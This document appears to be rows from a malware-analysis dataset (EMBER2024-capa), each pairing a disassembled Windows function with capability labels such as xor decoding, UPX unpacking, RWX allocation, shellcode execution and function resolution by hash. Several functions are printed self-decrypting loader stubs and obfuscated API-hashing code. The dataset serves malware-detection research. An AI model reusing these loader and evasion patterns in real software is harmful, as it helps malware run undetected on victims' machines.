joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10026910
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x44
pushal
call 0x1002691f
pop dword [ebp - 0x34]
mov eax, 0x1225dcc0
sub eax, 0x22373a1
sub dword [ebp - 0x34], eax
mov dword [ebp - 0x44], 0x9008cc73
sub dword [ebp - 0x44], 0x41b68728
mov dword [ebp - 0x40], 0xe2e3bc78
sub dword [ebp - 0x40], 0xb0b07033
mov dword [ebp - 0x3c], 0xadfe5606
add dword [ebp - 0x3c], 0x9e4dee28
mov dword [ebp - 0x38], 0xc1d4e950
add dword [ebp - 0x38], 0x3e2b16b0
lea eax, [ebp - 0x44]
push eax
mov eax, 0x8d9adbe7
add eax, 0x826994e1
add eax, dword [ebp - 0x34]
call dword [eax]
mov dword [ebp - 0x44], 0xf857568c
add dword [ebp - 0x44], 0x7c1b12ca
mov dword [ebp - 0x40], 0x3c665880
sub dword [ebp - 0x40], 0xfaf9f70b
mov dword [ebp - 0x3c], 0x80cfa774
add dword [ebp - 0x3c], 0xe29fc4f8
mov dword [ebp - 0x38], 0x7b31da76
sub dword [ebp - 0x38], 0x7b31da76
lea ebx, [ebp - 0x44]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x34]
call dword [eax]
push 0x40
push 0x1000
push 0x43e2f
push 0
call eax
mov ecx, 0x3136f4ef
add ecx, 0xcec9588e
xor edx, edx
add edx, eax
mov esi, 0x461b8f33
sub esi, 0x36155f33
add esi, dword [ebp - 0x34]
mov ebx, 0xde281fed
add ebx, 0x1a515423
add dword [ebp - 0x18], 0x27718dfa
mov edi, dword [esi]
add dword [ebp - 0x28], ecx
xor edi, ebx
add dword [ebp - 4], esi
mov dword [edx], edi
add edx, 0x71ff19ad
sub edx, 0x71ff19a9
add esi, 0x965f1860
sub esi, 0x965f185c
loop 0x10026a3e
add eax, 0x88375e53
add eax, 0x77c9ca74
mov ebx, eax
add eax, 0x71471bec
sub eax, 0x71471be7
mov ecx, 0xcff6c660
sub ecx, 0xbff6c660
add ecx, dword [ebp - 0x34]
call ebx
leave
ret
Function at 0x401ea2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x410284]
jne 0x401eac
repz ret
jmp fcn.00403e53

Function at 0x40bdb9
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
pushal
call 0x40bdc8
pop dword [ebp - 0x18]
mov eax, 0x40bdc8
sub dword [ebp - 0x18], eax
mov dword [ebp - 0x28], 0x46dc22ee
add dword [ebp - 0x28], 0x776225d
mov dword [ebp - 0x24], 0xfd1804f7
sub dword [ebp - 0x24], 0xcae4b8b2
mov dword [ebp - 0x20], 0x62190ee3
add dword [ebp - 0x20], 0xea33354b
mov dword [ebp - 0x1c], 0x4b86e33a
sub dword [ebp - 0x1c], 0x4b86e33a
lea eax, [ebp - 0x28]
push eax
mov eax, 0x705a405d
add eax, 0x8fe68ff7
add eax, dword [ebp - 0x18]
call dword [eax]
mov dword [ebp - 0x28], 0xf09f499b
sub dword [ebp - 0x28], 0x7c2ce045
mov dword [ebp - 0x24], 0x651b04dc
sub dword [ebp - 0x24], 0x23aea367
mov dword [ebp - 0x20], 0xb6ea4105
add dword [ebp - 0x20], 0xac852b67
mov dword [ebp - 0x1c], 0xbca2b26
sub dword [ebp - 0x1c], 0xbca2b26
lea ebx, [ebp - 0x28]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x18]
call dword [eax]
push 0x40
push 0x1000
push 0x3b72e
push 0
call eax
mov ecx, 0xf8026246
add ecx, 0x7fded71
mov edx, eax
mov ebx, 0x41b000
add ebx, dword [ebp - 0x18]
mov edi, 0xe996a50d
xor dword [ebp - 0x14], 0xebd71d19
mov esi, dword [ebx]
xor dword [ebp - 8], edx
xor esi, edi
mov dword [edx], esi
add dword [ebp - 0x10], esi
add edx, 0x7e67a540
add edx, 0x81985ac4
add ebx, 4
loop 0x40bed4
add eax, 0x327e6eaf
sub eax, 0x327d3d00
mov ebx, eax
add eax, 0xa84e6a22
add eax, 0x57b195e3
mov ecx, 0x400000
add ecx, dword [ebp - 0x18]
call ebx
leave
ret
Function at 0x401ee2
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x411280]
jne 0x401eec
repz ret
jmp fcn.00404369

Function at 0x4025e7
Capabilities:
Accept command line arguments
Parse pe header

Disassembly:
push 0x14
push 0x40f530
call fcn.00403770
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x4024e7
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x4024e7
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x4024e7
cmp dword [eax + 0x400074], 0xe
jbe 0x4024e7
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x4024eb
and dword [ebp - 0x1c], 0
push 1
call fcn.0040b1c2
pop ecx
test eax, eax
jne 0x4024ff
push 0x1c
call fcn.0040b1c2
pop ecx
call fcn.00405287
test eax, eax
jne 0x402510
push 0x10
call fcn.0040b1c2
pop ecx
call fcn.00405952
and dword [ebp - 4], 0
call fcn.004032ff
test eax, eax
jge 0x40252a
push 0x1b
call fcn.0040b1c2
pop ecx
call dword [sym.imp.kernel32.dll_GetCommandLineA]
mov dword [0x412ba0], eax
call fcn.0040b1c2
mov dword [0x41203c], eax
call fcn.0040b1c2
test eax, eax
jge 0x402550
push 8
call fcn.0040b1c2
pop ecx
call fcn.00405fde
test eax, eax
jge 0x402561
push 9
call fcn.0040b1c2
pop ecx
push 1
call fcn.0040b1c2
pop ecx
test eax, eax
je 0x402574
push eax
call fcn.0040b1c2
pop ecx
mov eax, dword [0x412018]
mov dword [0x41201c], eax
push eax
push dword [0x412010]
push dword [0x41200c]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x4025a2
push eax
call fcn.0040b1c2
call fcn.00402400
jmp 0x4025d7
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.004037b5
ret
call fcn.0040b1c2
jmp 0x402495

Function at 0x40b1c2
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
pushal
call 0x40b1d1
pop dword [ebp - 0x14]
mov eax, 0x40b1d1
sub dword [ebp - 0x14], eax
push 0x40
push 0x1000
push 0x3af3b
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x14]
call dword [eax]
mov ecx, 0x283abcb7
add ecx, 0xd7c591d3
xor edx, edx
add edx, eax
mov ebx, 0x413bc4
add ebx, dword [ebp - 0x14]
mov esi, 0xcc7c72d9
sub dword [ebp - 4], 0x4637ef68
mov edi, dword [ebx]
xor edi, esi
xor dword [ebp - 0xc], 0x14e2205e
mov dword [edx], edi
add edx, 0xb74749cf
add edx, 0x48b8b635
add ebx, 0x5606da4e
sub ebx, 0x5606da4a
loop 0x40b21c
add eax, 0x84b0b927
sub eax, 0x84af8c2c
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x43c2cab
add ecx, 0xfc03d355
add ecx, dword [ebp - 0x14]
call ebx
leave
ret
Function at 0x4031a5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
pushal
call 0x4031b4
pop dword [ebp - 0x10]
mov eax, 0x4031b4
sub dword [ebp - 0x10], eax
push 0x40
push 0x1000
push 0x3a591
push 0
mov eax, 0x9e3a64a0
add eax, 0x62065c40
add eax, dword [ebp - 0x10]
call dword [eax]
mov ecx, 0xa1f43e49
add ecx, 0x5e0c1406
mov edi, eax
mov ebx, 0x416800
add ebx, dword [ebp - 0x10]
mov edx, 0x803ea1c1
sub edx, 0x6e07e407
sub dword [ebp - 8], ecx
mov esi, dword [ebx]
sub dword [ebp - 8], 0x5acb4786
xor esi, edx
add dword [ebp - 4], 0xf174e299
mov dword [edi], esi
add dword [ebp - 4], 0x3b9e9095
add edi, 0xf2612f13
sub edi, 0xf2612f0f
add ebx, 0xd867e756
sub ebx, 0xd867e752
loop 0x403208
add eax, 0x7bae7e93
add eax, 0x8452bd7c
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x19e5ae8e
add ecx, 0xe65a5172
add ecx, dword [ebp - 0x10]
call ebx
leave
ret

Function at 0x404040
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push 0x23c
mov eax, 0x40b352
call fcn.0040a8e9
movzx eax, word [ebp + 8]
mov esi, dword [0x41225c]
push pe_nt_image_headers32
push eax
push esi
mov dword [ebp - 0x220], ecx
mov dword [ebp - 0x21c], 1
call dword [sym.imp.kernel32.dll_FindResourceW]
test eax, eax
je 0x4041c3
push eax
push esi
call dword [sym.imp.kernel32.dll_LoadResource]
test eax, eax
je 0x4041c3
push eax
call dword [sym.imp.kernel32.dll_LockResource]
mov esi, eax
test esi, esi
je 0x4041c3
mov ebx, dword [sym.imp.USER32.dll_SendDlgItemMessageW]
movzx eax, word [esi]
xor ecx, ecx
cmp cx, ax
je 0x4041c3
mov ecx, dword [esi + 4]
mov edi, eax
movzx eax, word [esi + 2]
mov dword [ebp - 0x224], ecx
mov ecx, 0x403
add esi, 8
cmp cx, ax
jne 0x404137
push 3
lea eax, [ebp - 0x110]
push esi
lea ecx, [ebp - 0x114]
mov dword [ebp - 0x114], eax
call main
push dword [ebp - 0x114]
mov eax, dword [ebp - 0x220]
and dword [ebp - 4], 0
push 0
push 0x143
push edi
push dword [eax + 4]
call ebx
cmp eax, 0xffffffff
jne 0x404112
and dword [ebp - 0x21c], 0
or dword [ebp - 4], 0xffffffff
lea eax, [ebp - 0x110]
cmp dword [ebp - 0x114], eax
je 0x4041b0
push dword [ebp - 0x114]
call dword [sym.imp.MSVCR100.dll_free]
pop ecx
jmp 0x4041b0
mov ecx, 0x1234
cmp cx, ax
jne 0x4041b0
or dword [ebp - 0x244], 0xffffffff
push 3
lea eax, [ebp - 0x214]
push esi
lea ecx, [ebp - 0x218]
mov dword [ebp - 0x248], 1
mov dword [ebp - 0x218], eax
call main
mov eax, dword [ebp - 0x218]
lea ecx, [ebp - 0x214]
mov dword [ebp - 0x240], eax
cmp eax, ecx
je 0x40418a
push eax
call dword [sym.imp.MSVCR100.dll_free]
pop ecx
lea eax, [ebp - 0x248]
push eax
mov eax, dword [ebp - 0x220]
push 0
push 0x40b
push edi
push dword [eax + 4]
call ebx
cmp eax, 0xffffffff
jne 0x4041b0
and dword [ebp - 0x21c], 0
add esi, dword [ebp - 0x224]
cmp dword [ebp - 0x21c], 0
jne 0x4040a5
mov eax, dword [ebp - 0x21c]
call fcn.0040a933
ret 4
Function at 0x40a4c0
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
cmp dword [0x412250], 0
push esi
push edi
jne 0x40a436
call fcn.0040a3a2
test eax, eax
je 0x40a47b
mov eax, dword [0x412250]
cmp eax, 1
jne 0x40a457
push 0xd
push 0
call dword [sym.imp.kernel32.dll_GetProcessHeap]
push eax
call dword [sym.imp.kernel32.dll_HeapAlloc]
test eax, eax
je 0x40a47b
jmp 0x40a4bd
mov edi, dword [sym.imp.kernel32.dll_InterlockedPopEntrySList]
push eax
call edi
test eax, eax
jne 0x40a4bd
push 0x40
mov eax, 0x1000
push eax
push eax
push 0
call dword [sym.imp.kernel32.dll_VirtualAlloc]
mov esi, eax
test esi, esi
jne 0x40a47f
xor eax, eax
jmp 0x40a4bd
mov eax, dword [esi]
push dword [0x412250]
call edi
mov edi, eax
test edi, edi
je 0x40a4a1
push 0x8000
push 0
push esi
call dword [sym.imp.kernel32.dll_VirtualFree]
mov eax, edi
jmp 0x40a4bd
lea edi, [esi + 0xff0]
push esi
push dword [0x412250]
call dword [sym.imp.kernel32.dll_InterlockedPushEntrySList]
add esi, 0x10
cmp esi, edi
jb 0x40a4a7
mov eax, esi
pop edi
pop esi
ret
jmp 0x40a422

Function at 0x40a788
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x412120]
jne 0x40a792
repz ret
jmp fcn.0040adba
Function at 0x40ada9
Capabilities:
Terminate process

Disassembly:
push 0x5c
push 0x40f600
call fcn.0040a820
xor ebx, ebx
mov dword [ebp - 0x1c], ebx
lea eax, [ebp - 0x6c]
push eax
call dword [sym.imp.kernel32.dll_GetStartupInfoW]
cmp dword [0x412614], ebx
jne 0x40ab4c
push ebx
push ebx
push 1
push ebx
call dword [sym.imp.kernel32.dll_HeapSetInformation]
mov dword [ebp - 4], ebx
mov eax, dword fs:[0x18]
mov esi, dword [eax + 4]
mov dword [ebp - 0x20], ebx
mov edi, 0x412610
push ebx
push esi
push edi
call dword [sym.imp.kernel32.dll_InterlockedCompareExchange]
cmp eax, ebx
je 0x40ab86
cmp eax, esi
jne 0x40ab79
xor esi, esi
inc esi
mov dword [ebp - 0x20], esi
jmp 0x40ab89
push 0x3e8
call dword [sym.imp.kernel32.dll_Sleep]
jmp 0x40ab60
xor esi, esi
inc esi
mov eax, dword [0x41260c]
cmp eax, esi
jne 0x40ab9c
push 0x1f
call sub.MSVCR100.dll__amsg_exit
pop ecx
jmp 0x40abd7
mov eax, dword [0x41260c]
test eax, eax
jne 0x40abd1
mov dword [0x41260c], esi
push 0x40c374
push 0x40c368
call sub.MSVCR100.dll__initterm_e
pop ecx
pop ecx
test eax, eax
je 0x40abd7
mov dword [ebp - 4], 0xfffffffe
mov eax, 0xff
jmp 0x40ace9
mov dword [0x4122d4], esi
mov eax, dword [0x41260c]
cmp eax, esi
jne 0x40abfb
push 0x40c364
push 0x40c330
call sub.MSVCR100.dll__initterm
pop ecx
pop ecx
mov dword [0x41260c], 2
cmp dword [ebp - 0x20], ebx
jne 0x40ac08
push ebx
push edi
call dword [sym.imp.kernel32.dll_InterlockedExchange]
cmp dword [0x412618], ebx
je 0x40ac29
push 0x412618
call main
pop ecx
test eax, eax
je 0x40ac29
push ebx
push 2
push ebx
call dword [0x412618]
mov eax, dword [sym.imp.MSVCR100.dll__wcmdln]
mov eax, dword [eax]
mov dword [ebp - 0x24], eax
movzx ecx, word [eax]
cmp ecx, 0x20
ja 0x40ac8a
cmp cx, bx
je 0x40ac45
cmp dword [ebp - 0x1c], ebx
jne 0x40ac8a
movzx ecx, word [eax]
cmp cx, bx
je 0x40ac5a
cmp ecx, 0x20
ja 0x40ac5a
add eax, 2
mov dword [ebp - 0x24], eax
jmp 0x40ac45
test byte [ebp - 0x40], 1
je 0x40ac66
movzx ecx, word [ebp - 0x3c]
jmp 0x40ac69
push 0xa
pop ecx
push ecx
push eax
push ebx
push 0x400000
call main
mov dword [0x4122d0], eax
cmp dword [0x4122c4], ebx
jne 0x40accf
push eax
call dword [sym.imp.MSVCR100.dll_exit]
cmp ecx, 0x22
jne 0x40ac9a
xor ecx, ecx
cmp dword [ebp - 0x1c], ebx
sete cl
mov dword [ebp - 0x1c], ecx
add eax, 2
jmp 0x40ac30
cmp dword [0x4122d4], ebx
jne 0x40acdd
call dword [sym.imp.MSVCR100.dll__cexit]
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [0x4122d0]
call fcn.0040a865
ret
call main
jmp 0x40ab1e
Function at 0x5990a0
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x18c000]
push edi
or ebp, 0xffffffff
jmp 0x5990c2
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x5990c9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5990b8
mov eax, 1
add ebx, ebx
jne 0x5990db
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x5990ec
jne 0x59910b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x59910b
dec eax
add ebx, ebx
jne 0x5990f8
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x5990d0
add ebx, ebx
jne 0x599107
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x59915d
xor ecx, ecx
sub eax, 3
jb 0x599123
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x599192
sar eax, 1
mov ebp, eax
jmp 0x59912e
add ebx, ebx
jne 0x59912e
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5990fc
inc ecx
add ebx, ebx
jne 0x59913c
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x5990fc
add ebx, ebx
jne 0x599149
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x59913e
jne 0x59915a
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x59913e
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x59917c
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x59916e
jmp 0x5990be
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x59917c
add edi, ecx
jmp 0x5990be
pop esi
mov edi, esi
mov ecx, 0x10c
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x59919a
cmp byte [edi], 7
jne 0x59919a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x59919f
lea edi, [esi + 0x197000]
mov eax, dword [edi]
or eax, eax
je 0x59920e
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x19b8a4]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x19b8cc]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x5991cc
mov ecx, edi
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x19b8d0]
or eax, eax
je 0x599208
mov dword [ebx], eax
add ebx, 4
jmp 0x5991e9
call dword [esi + 0x19b8e0]
mov ebp, dword [esi + 0x19b8d4]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1ff]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x599242
sub esp, 0xffffff80
jmp 0x4027af
Function at 0x3260f70
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x27e1000]
push edi
jmp 0x3260f8a
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x3260f91
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x3260f80
mov eax, 1
add ebx, ebx
jne 0x3260fa3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x3260fb4
jne 0x3260fd3
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x3260fd3
dec eax
add ebx, ebx
jne 0x3260fc0
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x3260f98
add ebx, ebx
jne 0x3260fcf
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x3261025
xor ecx, ecx
sub eax, 3
jb 0x3260feb
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x326105a
sar eax, 1
mov ebp, eax
jmp 0x3260ff6
add ebx, ebx
jne 0x3260ff6
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x3260fc4
inc ecx
add ebx, ebx
jne 0x3261004
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x3260fc4
add ebx, ebx
jne 0x3261011
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x3261006
jne 0x3261022
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x3261006
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x3261044
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x3261036
jmp 0x3260f86
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x3261044
add edi, ecx
jmp 0x3260f86
pop esi
mov edi, esi
mov ecx, 0x22a91
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x3261062
mov eax, dword [edi]
mov bl, byte [edi + 4]
xchg ah, al
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x3261067
lea edi, [esi + 0x2e5d000]
mov eax, dword [edi]
or eax, eax
je 0x32610d8
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x2e7e678]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x2e7e704]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x326108d
mov ecx, edi
jns 0x32610bc
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x2e7e70c]
or eax, eax
je 0x32610d2
mov dword [ebx], eax
add ebx, 4
jmp 0x32610aa
call dword [esi + 0x2e7e708]
mov ebp, dword [esi + 0x2e7e710]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x1df]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x326110c
sub esp, 0xffffff80
jmp 0x45f81c
Function at 0xed8e12
Capabilities:
Access peb ldr_data
Resolve function by hash

Disassembly:
cmp edi, 0x6a4abc5b
mov ebx, dword [edx + 0x10]
mov edx, dword [edx]
jne 0xf31b7d
mov eax, ebx
jmp 0xf0806a
push ebp
adc cx, 0x2b92
cmp esi, eax
test bh, ch
mov ebp, esp
sub esp, 4
movzx esi, bp
cmovb cx, bx
mov dword [ebp - 4], 0
cld
jmp 0xf31b67
jmp 0xefeaa3
loop 0xefeaaa
jmp 0xec967b
jmp 0xf3da31
mov dword [ebp - 4], eax
mov ax, si
cwde
cbw
mov eax, dword [ebp - 4]
jmp 0xf403d7
xor edx, edx
bsr esi, eax
mov edx, dword fs:[edx + 0x30]
mov edx, dword [edx + 0xc]
mov edx, dword [edx + 0x14]
bsf si, bp
shr ch, 0x1b
mov esi, dword [edx + 0x28]
or cx, 0x621
mov cx, dx
adc cl, 0xa4
push 0x18
mov cx, si
adc ecx, ebx
pop ecx
clc
jmp 0xf3da29
ror edi, 0xd
cmp al, 0xbd
cmc
add edi, eax
jmp 0xedfbe8
sub edi, edi
test esi, 0x65626345
sub eax, eax
sets al
lodsb al, byte [esi]
clc
cmp al, 0x61
jl 0xf3a070
sub al, 0x20
jmp 0xf3a070
jmp 0xebe65f
Function at 0xef6cd6
Capabilities:
Authenticate hmac
Hash data with crc32

Disassembly:
push edi
xor al, al
test bx, si
scasb al, byte es:[edi]
jmp 0xf050e4
rcr ax, 1
jae 0xf3dc0f
xor ax, 0x8320
xor bx, 0xedb8
jmp 0xf3dc0f
jmp 0xee58a9
jne 0xef517f
xor ecx, eax
xor edx, ebx
jmp 0xf3735b
mov dword [ebp - 4], eax
cwde
mov eax, dword [ebp - 4]
jmp 0xf20010
cmp edx, eax
jmp 0xf36b7a
lodsd eax, dword [esi]
mov bh, cl
add eax, dword [ebp + 0xc]
mov ebx, edi
push eax
stosd dword es:[edi], eax
test ch, cl
mov dword [ebp - 0xc], eax
sbb ax, sp
mov eax, dword [esi]
btr si, ax
shl ebx, cl
or esi, esi
add eax, dword [ebp + 0xc]
adc bx, 0x2d05
sbb bx, 0x7082
mov dword [ebp - 0x10], eax
bts bx, ax
sbb si, bp
pop esi
mov dword [ebp - 4], 0
btr ax, bp
shld eax, esi, 0x9d
push esi
cwde
adc ah, 0x2c
or bl, 0xe5
mov eax, dword [esi]
ror bl, 0x39
sar ebx, 0xb
jmp 0xf33055
jne 0xef515f
not edx
movzx eax, sp
cmc
not ecx
mov eax, edx
movzx dx, dl
rol eax, 0x10
shld edx, ecx, 0x71
neg ah
test ah, bh
mov ax, cx
test bp, cx
rcr edx, cl
pop edx
clc
jmp 0xee30e3
add esi, 4
cmp bh, ch
clc
add dword [ebp - 4], 1
jmp 0xecefb0
xor eax, eax
rcl al, cl
xor ebx, ebx
lodsb al, byte [esi]
xor al, cl
cmp bp, 0x26ad
mov cl, ch
cmp si, 0x507c
mov ch, dl
mov dl, dh
stc
mov dh, 8
test ch, 0x7f
clc
shr bx, 1
jmp 0xeca506
push ebp
mov ebp, esp
sal ah, 0x8b
lea esp, [esp - 4]
bt ax, dx
mov dword [ebp - 4], 0
clc
sar ax, cl
rcr ah, cl
lea esp, [esp - 0x14]
push esi
ror si, 0xc2
and al, ch
rol ah, cl
push ebx
rol ah, 0xc1
sbb ebx, ebp
push edi
push edx
push ecx
rol si, 0xf5
mov eax, dword [ebp + 0x10]
sar esi, 7
movzx edi, dx
sub edx, edx
rol bh, cl
xchg edx, eax
mov esi, 0x3c
bswap ax
sub ax, di
cmovno ebx, ebp
add esi, dword [ebp + 0xc]
sub edi, ecx
bswap ebx
cbw
mov eax, dword [esi]
not si
adc di, 0x39e6
add eax, dword [ebp + 0xc]
bsr esi, esi
mov esi, dword [eax + 0x78]
sbb al, dh
btr di, ax
add esi, 0x18
ror bh, 0xf
movsx ebx, ax
add esi, dword [ebp + 0xc]
mov eax, dword [esi]
inc edi
mov dword [ebp - 0x14], eax
add esi, 4
lea edi, [ebp - 8]
movsx eax, bp
not eax
cbw
lodsd eax, dword [esi]
not bh
add eax, dword [ebp + 0xc]
stosd dword es:[edi], eax
mov dword [ebp - 8], eax
setge bh
movzx ebx, bp
jmp 0xee5866
jne 0xec4b10
pop esi
test ebp, esp
sub edi, ebx
jmp 0xf1e30c
pop esi
or di, 0xbb7
mov eax, dword [ebp - 4]
shl eax, 1
sbb edi, 0x3b767cc7
shld dx, dx, 0x67
sub dh, ah
add eax, dword [ebp - 0x10]
shl ecx, 0x36
xor esi, esi
xchg esi, eax
mov ax, word [esi]
xor ch, ch
ror bl, cl
shl ax, 2
add eax, dword [ebp - 8]
xchg esi, eax
test ch, 0x5c
shr eax, 0x4c
mov eax, dword [esi]
add eax, dword [ebp + 0xc]
sete bh
pop ecx
bswap dx
cdq
pop edx
mov bl, 0xef
pop edi
mov bx, di
pop ebx
movzx esi, ax
movsx esi, dx
pop esi
jmp 0xed6bf4
push edx
cld
movzx edx, cx
btc edx, edi
xor ecx, ecx
cdq
cwd
dec ecx
movzx edx, cx
not dh
xor dx, 0x5582
mov edx, ecx
jmp 0xef515f
jmp 0xebe748
add eax, dword [ebp + 0xc]
inc bx
btr ebx, 0x6f
cmp ah, 0x46
xchg edi, eax
shl bh, cl
mov ebx, edi
stc
jmp 0xec4b0a
je 0xf1aa57
pop esi
jmp 0xef2eda
dec edi
jmp 0xef107e
dec dh
jmp 0xed4cc1
Function at 0x40cd2f
Capabilities:
Parse pe header

Disassembly:
push 0x14
push 0x4211c0
call fcn.0040e1d8
mov eax, 0x5a4d
cmp word [0x400000], ax
jne 0x40cc2f
mov eax, dword [0x40003c]
cmp dword [eax + 0x400000], 0x4550
jne 0x40cc2f
mov ecx, 0x10b
cmp word [eax + 0x400018], cx
jne 0x40cc2f
cmp dword [eax + 0x400074], 0xe
jbe 0x40cc2f
xor ecx, ecx
cmp dword [eax + 0x4000e8], ecx
setne cl
mov dword [ebp - 0x1c], ecx
jmp 0x40cc33
and dword [ebp - 0x1c], 0
push 1
call fcn.0040d534
pop ecx
test eax, eax
jne 0x40cc47
push 0x1c
call fcn.0040cbb4
pop ecx
call fcn.0041087e
test eax, eax
jne 0x40cc58
push 0x10
call fcn.0040cbb4
pop ecx
call fcn.004129c9
and dword [ebp - 4], 0
call fcn.00411a15
test eax, eax
jge 0x40cc72
push 0x1b
call fcn.0040e79a
pop ecx
call dword [0x41b06c]
mov dword [0x4250bc], eax
call fcn.00412892
mov dword [0x423494], eax
call fcn.004127d7
test eax, eax
jge 0x40cc98
push 8
call fcn.0040e79a
pop ecx
call fcn.0041255f
test eax, eax
jge 0x40cca9
push 9
call fcn.0040e79a
pop ecx
push 1
call fcn.0040e859
pop ecx
test eax, eax
je 0x40ccbc
push eax
call fcn.0040e79a
pop ecx
mov eax, dword [0x423620]
mov dword [0x423624], eax
push eax
push dword [0x423618]
push dword [0x423614]
call main
add esp, 0xc
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x1c], 0
jne 0x40ccea
push eax
call fcn.0040ea0a
call fcn.0040ea36
jmp 0x40cd1f
mov dword [ebp - 4], 0xfffffffe
mov eax, dword [ebp - 0x20]
call fcn.0040e21d
ret
call fcn.00412a15
jmp 0x40cbdd

Function at 0x413740
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
